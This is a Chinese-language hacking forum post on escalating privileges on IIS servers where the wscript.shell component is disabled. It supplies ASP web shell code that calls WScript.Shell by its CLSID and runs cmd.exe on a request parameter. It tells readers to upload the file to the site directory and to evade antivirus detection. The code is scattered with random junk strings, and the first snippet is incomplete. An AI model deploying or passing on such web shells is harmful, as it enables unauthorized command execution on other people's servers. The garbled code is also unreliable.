没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  , q6 l+ x3 f2 s* {- P0 @
• <%
  6 a0 J+ {6 ~( M$ l
• end if
  
• response.write(”")
  
• On Error Resume
  7 J% B# [* L* f( p* z5 Q
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  , ~3 `5 R4 p' X; f. C/ E2 Y) N- K  F
• request(”c”)).stdout.readall
  - A; k3 ?$ v4 ^" e  J3 G, y) r
• response.write(”")
  
• response.write(”")
  ' F' O& F" {+ v. N  f0 `
• response.write(”
  8 T# \% I) X3 f# t6 b0 q- O
• “)
  
• response.write(”")
  8 h6 t" f% ~( Q4 |$ H1 C: m, D
• %>
  : K- `( V" L. X, e+ h
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  2 o, ~9 s5 d, X5 q
• 无wscript.shell组件提权又一个方法
  3 A, T& m) J- f0 c* g+ F' L& }
• <object runat=server id=oScriptlhn scope=page
  
• 
  " n) G) W: C) ^0 ?) j* m: k
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  2 g# ~9 q0 s" i5 i, |7 z' ?+ h) P
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  ! N/ m; X/ D4 w$ V$ T1 A, X, U
• end if
  
• response.write(”<textarea readonly cols=80
  
• 
  
• rows=20>”)
  ; r& ]3 q4 O! c5 R: D( G1 x. j
• On Error Resume Next
  + v- Y, i3 X* C- s# x
• response.write
  * N6 g5 C! [! N
• 
  ; |: D6 e! i8 z/ N7 Y8 z
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  
• response.write(”<form
  + f- ~3 s) y& u- y9 O6 I
• 
  
• method=’post’>”)
  ' p9 z) j: g, q) ^4 ]  r
• response.write(”<input type=text name=’c'
  6 r9 H; s" x' G4 {5 p9 x  E
• 
  
• size=60><br>”)
  3 X# z7 b: V: O2 S9 d& J& d; e
• response.write(”<input type=submit
  
• 
  4 H9 r; b* @) W. {$ P
• value=’执行’></form>”)
  + D+ A; n' X, a" g6 V
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  & W+ F0 b! s# o+ s( S: n9 B
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码